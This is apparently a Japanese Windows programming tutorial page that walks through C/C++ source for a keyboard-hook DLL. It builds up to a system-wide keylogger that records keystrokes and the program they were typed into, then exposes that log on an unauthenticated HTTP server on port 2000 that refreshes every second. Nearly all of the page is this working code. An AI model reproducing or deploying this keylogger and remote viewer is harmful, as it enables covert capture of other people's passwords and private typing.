○キーボードフック
○dllによりキーボードをフックします
void HookStart(void) フックの開始
void HookEnd(void) フックの終了
Cからのdllの呼び出し方は、Win32 Dynamic-Link LibraryのDLLの呼び出しの項を見てください。
(一番下にサンプル有り)
VB.netからのdllの読み出し方は、VB.net アンマネージドDLLの呼び出しの項をみてください。
○dll作成方法
Win32 Dynamic-Link Library
単純なDLLプロジェクトを選択
以下を追加
#include <windows.h>
HINSTANCE hInst;
HHOOK hHook;
LRESULT CALLBACK HookProc(int nCode, WPARAM wp, LPARAM lp)
{
char buff[2]="";
buff[0]=wp;
MessageBox(NULL, buff, "hook", MB_OK);//キーが押されるとメッセージボックスを表示
return CallNextHookEx(hHook, nCode, wp, lp);
}
extern "C" __declspec(dllexport) void HookStart()
{
hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, hInst, 0);
}
extern "C" __declspec(dllexport) void HookEnd()
{
UnhookWindowsHookEx(hHook);
}
BOOL APIENTRY DllMain(HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInst=hModule;
return TRUE;
}
○キーを読み出すDllの作成-------------------------------------------------------
フックは別のプロセスとして動作するため、変数などを使用できません
そのため、メモリマップドファイルを使用します。
getKey()により読み取ったキーボード情報が読み出せます
補足
メモリマップドファイル(プロセス間通信)
#include <stdio.h>
#include <windows.h>
#define BUFF_SIZE 256
HINSTANCE hInst;
HHOOK hHook;
HANDLE hFile;
char buff[BUFF_SIZE];
unsigned int buff_cursor;
char path[MAX_PATH+1];
void onChar(char c){
c=c&0x7F;
if(0x20>c) c='?';//制御文字は?に変換する
if((BUFF_SIZE-1)<=buff_cursor) buff_cursor=0;
buff[buff_cursor]=c;
buff[++buff_cursor]='\0';
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wp, LPARAM lp)
{
if(lp>0){
onChar((char)wp);
//メモリマップドファイルを作成 サイズ:1024バイト 名前:inaba
HANDLE File = CreateFileMapping( (HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, 1024, "hookinaba") ;
//アドレスを取得
LPVOID hMap = MapViewOfFile( File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0 ) ;
sprintf((char *)hMap,"[%s]\n%s",path, buff);//書き込み
// char*str=(char*)hMap;//読み出し
UnmapViewOfFile(hMap);
CloseHandle( File) ;//メモリマップドファイルをクローズ
}
return CallNextHookEx(hHook, nCode, wp, lp);
}
extern "C" __declspec(dllexport) void HookStart()
{
//メモリマップドファイルを作成 サイズ:1024バイト 名前:inaba
hFile = CreateFileMapping( (HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, 1024, "hookinaba") ;
hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, hInst, 0);
}
extern "C" __declspec(dllexport) void HookEnd()
{
UnhookWindowsHookEx(hHook);
CloseHandle( hFile) ;//メモリマップドファイルをクローズ
}
extern "C" __declspec(dllexport) char* getKey()
{
//アドレスを取得
LPVOID hMap = MapViewOfFile( hFile, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0 ) ;
// strcpy((char *)hMap, buff);//書き込み
strcpy(buff,(char*)hMap);//読み出し
UnmapViewOfFile(hMap);
return buff;
}
BOOL APIENTRY DllMain(HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInst=hModule;
GetModuleFileName( NULL, path, MAX_PATH );// dllが実行されるプログラムの完全パスを取得
return TRUE;
}
■DLLの呼び出しをするプログラム
#include <stdio.h>
#include <windows.h>
int main(){
typedef void (*HOOKSTART)(void); //関数ポインタの構造体の宣言
typedef void (*HOOKEND)(void);
typedef char*(*GETKEY)(void);
//アドレス空間内にマップする
HINSTANCE hDllInstance = ::LoadLibrary("keyhook.dll");//DLLを指定
// エクスポートされた関数のアドレスを取得
HOOKSTART HookStart=(HOOKSTART)::GetProcAddress(hDllInstance, "HookStart"); //関数ポインタとDLLの関数の結びつけ
HOOKEND HookEnd=(HOOKEND)::GetProcAddress(hDllInstance, "HookEnd");
GETKEY getKey=(GETKEY)::GetProcAddress(hDllInstance, "getKey");
HookStart();//後は普通の関数のように呼び出せます。
// while(1){
// printf("%s\n",getKey());
// Sleep(1000);
// }
getchar();
HookEnd();
FreeLibrary(hDllInstance);//開放
return 0;
}
■DLLを呼び出すプログラムに簡易HTTPサーバーを取り付けたもの
#pragma comment(lib, "wsock32.lib")
#include <stdio.h>
#include <process.h>
#include <winsock2.h>
//リスンするポート番号
#define PORT 2000
typedef void (*HOOKSTART)(void); //関数ポインタの構造体の宣言
typedef void (*HOOKEND)(void);
typedef char*(*GETKEY)(void);
HOOKSTART HookStart;
HOOKEND HookEnd;
GETKEY getKey;
unsigned __stdcall TcpReadToSend(void*so){
SOCKET s=*((SOCKET*)so);
char buff[1024]="";
//-------受信--------
recv(s,buff,1024,0);
//-------送信--------
sprintf(buff,"<html><head><META HTTP-EQUIV=\"Refresh\" CONTENT=\"1\"> </head><body><pre>%s</pre></body></html>\r\n",getKey());
send(s, buff, (int)strlen(buff), 0);
closesocket(s);
free(so);
#ifdef MT
_endthreadex(0);
#endif
return 0;
}
int WINAPI WinMain(HINSTANCE hCurInst,HINSTANCE hPrevInst,
LPSTR lpsCmdLine,int nCmdShow ){
//dllの操作
//アドレス空間内にマップする
HINSTANCE hDllInstance = ::LoadLibrary("keyhook.dll");//DLLを指定
// エクスポートされた関数のアドレスを取得
HookStart=(HOOKSTART)::GetProcAddress(hDllInstance, "HookStart"); //関数ポインタとDLLの関数の結びつけ
HookEnd=(HOOKEND)::GetProcAddress(hDllInstance, "HookEnd");
getKey=(GETKEY)::GetProcAddress(hDllInstance, "getKey");
HookStart();//フックの開始
//TCP/IPの操作
WSADATA wsaData;
//winsockの初期化
while(WSAStartup(WINSOCK_VERSION, &wsaData)) {//WinSockの初期化失敗
WSACleanup();
printf("%s\n","初期化失敗");
Sleep(1000);
}
//ソケットを作成する
SOCKET listen_s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET==listen_s) {//ソケットのオープン失敗
printf("%s\n","ソケットのオープン失敗");
HookEnd();//フックの終了
return 0;
}
SOCKADDR_IN saddr;
//構造体を初期化する
memset(&saddr, 0, sizeof(SOCKADDR_IN));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = INADDR_ANY;
int len=sizeof(struct sockaddr);
//ソケットをアドレス、ポートに結びつける
if (bind(listen_s, (struct sockaddr *)&saddr,len)) {//バインドエラー
printf("%s\n","bindの失敗");
HookEnd();//フックの終了
return 0;
}
//ソケットを接続待ちの状態にする
if (SOCKET_ERROR==listen(listen_s,SOMAXCONN)) {
printf("%s\n","listenの失敗");
HookEnd();//フックの終了
return 0;
}
while(1){
SOCKET*s;
while(NULL==(s = (SOCKET*)malloc(sizeof(SOCKET))));
//接続待ちのリクエストを一つ取り出し、接続を確立する
*s= accept(listen_s,(struct sockaddr *)&saddr,&len);//接続されるまでここで待機
printf("%s\n","accept");
if (INVALID_SOCKET!=*s) {
#ifdef MT
HANDLE th=(HANDLE)_beginthreadex(NULL,0,TcpReadToSend,(void*)s,0,NULL);//複数の送受信を受け付ける場合。スレッドを立てます
if(th){
//スレッドの優先度を下げる
//SetThreadPriority( th , THREAD_PRIORITY_BELOW_NORMAL );
while(!CloseHandle(th));//参照カウンタを一つ減らす
}else{
closesocket(*s);
free(s);
}
#else
TcpReadToSend((void*)s);//一つのクライアントしか無い場合
#endif
}else{
free(s);
}
}
HookEnd();//フックの終了
FreeLibrary(hDllInstance);//開放
//winsockの開放
closesocket(listen_s);
WSACleanup();
return 0;
}
▲トップページ
>
Windows と C++